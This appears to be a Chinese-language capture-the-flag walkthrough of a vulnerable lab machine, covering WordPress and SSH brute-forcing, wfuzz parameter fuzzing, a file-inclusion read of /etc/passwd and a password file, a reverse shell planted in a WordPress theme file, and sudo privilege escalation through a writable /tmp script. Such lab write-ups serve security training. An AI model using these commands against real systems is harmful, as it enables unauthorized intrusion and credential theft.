typora-copy-images-to: upload
主机发现

端口扫描

80端口

目录扫描,发现这是一个wordpress站点

利用wpscan对网站后台进行暴力破解,并收集可能的用户信息,爆破失败了,但是发现了一个用户victor
wpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/xato-net-10-million-passwords-100000.txt

利用ssh爆破(失败)
hydra -lvictor -P /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt -t 4 -vV 10.10.10.203 ssh
利用wfuzz测试一下有没有其他的文章没显示出来的
wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200

继续查看目录扫描的结果,翻到一个dev,被嘲讽了
你好,现在你处于0级阶段在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。快乐的黑客。

看看还有没有其他文件
gobuster dir -u http://10.10.10.203 -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js

有一个secret.txt文件,大致意思呢就是说让我们进行一个模糊测试,这个测试的参数下面有一个location.txt文件,如果没有扫出来,你可以利用下面这个开源字典,帮助你更好的通过oscp考试

访问
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
1. WFUZZ
====================================================================================
# # ###### # # ###### ######
# # # # # # #
# # ##### # # # #
# ## # # # # # #
## ## # # # # #
# # # #### ###### ######
====================================================================================
--------------------------------------------------------------------------------------
(i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE.
---------------------------------------------------------------------------------------
COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
And the result is given below
000216: C=200 70 L 500 W 2006 Ch "configs"
000200: C=200 70 L 500 W 2006 Ch "cm"
000201: C=200 70 L 500 W 2006 Ch "cmd"
000195: C=200 70 L 500 W 2006 Ch "classified"
000197: C=200 70 L 500 W 2006 Ch "client"
000204: C=200 70 L 500 W 2006 Ch "coke"
Finishing pending requests...
----------------------------------------------------------------------------------------------------------------------
(ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS =======>
----------------------------------------------------------------------------------------------------------------------
COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something
And it will return result which is given below.
Total requests: 950
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000357: C=200 70 L 500 W 2006 Ch "file"
Total time: 3.753362
Processed Requests: 950
Filtered Requests: 949
Requests/sec.: 253.1063
Here we can see C=200(Our HTTP Respone from server).
7 L ==> It means 7 lines return by server.
500 W ==> It means 19 words total count by wfuzz.
2006 Ch ==> It means 206 total chars count by wfuzz which is return by server.
After using filter we can remove wrong parameter from our output and right output with right parameter we get.
--------------------------------------------------------------------------------------------------------
(*)WORKING WITH FILTERS: |
(i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12) |
(ii) To filter lenth then we used --hl(In above above example this would be --hl 7)
(iii) For chars we used --hh (In above example this would br --hh 206) |
(iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all.
|
--------------------------------------------------------------------------------------------------------
----------------------------------------------------------------
(iii) USE WFUZZ TO FIND OUT SUBDOMAINS.
----------------------------------------------------------------
COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com"
USE filter to reach your actual subdomains like below command.
COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"
上wfuzz
wfuzz -u http://10.10.10.203/?FUZZ=location.txt -w
/data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --hw 12

发现了一个file参数
做一些更好的, 好的,现在你找到了确切的参数,现在挖掘更多的下一个<br>在其他php页面上使用‘secrettier36o’参数更有趣。

那么根据提示修改参数file为secrettier360,继续fuzz,只发现了两个相关的php文件
wfuzz -u http://10.10.10.203/FUZZ.php?secrettier360=location.txt -w
/data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --sc 200

进行测试,”最后你得到了正确的参数“
┌──(root㉿kali)-[~]
└─# curl http://10.10.10.203/image.php?secrettier360=location.txt
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png?imageMogr2/format/avif' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br></html>
说是得到了正确的参数,看样子是文件包含,之前读取的是一个txt文件 location.txt,那么直接包含/etc/passwd,之后又发现了这个用户后面写着一个提示,说password.txt文件在/home/saket文件夹下面

找到了密码follow_the_ippsec
curl http://10.10.10.203/image.php?secrettier360=/home/saket/password.txt

测试了两个用户的ssh皆失败了

利用那就wordpress密码碰撞,找到之前写文章的用户victor进行登录,登录成功

其他的文件都不能修改,只有这一个Twenty Nineteen主题下的secret.php可以修改

填写反弹shell脚本并修改

攻击机器开启监听

这个路径是wordpress主题文件下的默认路径,使用curl请求即可反弹shell
curl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php

创建交互式终端
python -c 'import pty; pty.spawn("/bin/bash")';
切换到wordpress根目录,找到了数据库密码
wordpress
yourpasswordhere

登录mysql
mysql -uwordpress -pyourpasswordhere

只有victor一个用户,密码我们已经知道了,没有其他东西了,利用数据库密码登录这两个用户试试(均失败)
www-data@ubuntu:/home$ ls
ls
saket victor
www-data@ubuntu:/home$ su saket
su saket
Password: yourpasswordhere
su: Authentication failure
www-data@ubuntu:/home$ su victor
su victor
Password: yourpasswordhere
su: Authentication failure
切换到home下面包含了一个user.txt可能用得上

识别hash类型,看样子是md5

尝试过好几个解密网站都失败了

利用sudo -l查看可以使用sudo的文件,有一个enc,执行一下需要我们输入密码

在opt文件夹下面可以找到密码信息

执行,但是有两个文件,enc.txt,key.txt没有权限读取

接下来加上sudo,提示了一个good

此时该文件夹下面出现了两个文件

其中key.txt是一个提示信息,加密后的结果为366a74cb3c959de17d61db30591c39d1
因此,将字符串“ippsec”转换为md5哈希并使用它来获得您的真实形式
enc.txt是一段乱码
nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=
有一个key,一段密文,但是没有偏移量,普通AES需要偏移量但是ECB的加密模式不需要

解密结果为
Dont worry saket one day we will reach to
our destination very soon. And if you forget
your username then use your old password
==> "tribute_to_ippsec"
Victor,
切换用户成功

再次利用sudo -l

利用sudo执行这个文件后,可以看到下面有一个提示,没有找到相关文件 not found,看样子是让我们写入一个脚本进行提权
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
利用刚刚反弹shell的php脚本进行反弹,再用sudo执行此文件即可提权成功
echo 'php /var/www/html/wordpress/wp-content/themes/twentynineteen/secret.php' > /tmp/challenge
chmod +x /tmp/challenge
sudo /home/victor/undefeated_victor

至此提权成功
往期推荐
红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学
【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!











暂无评论内容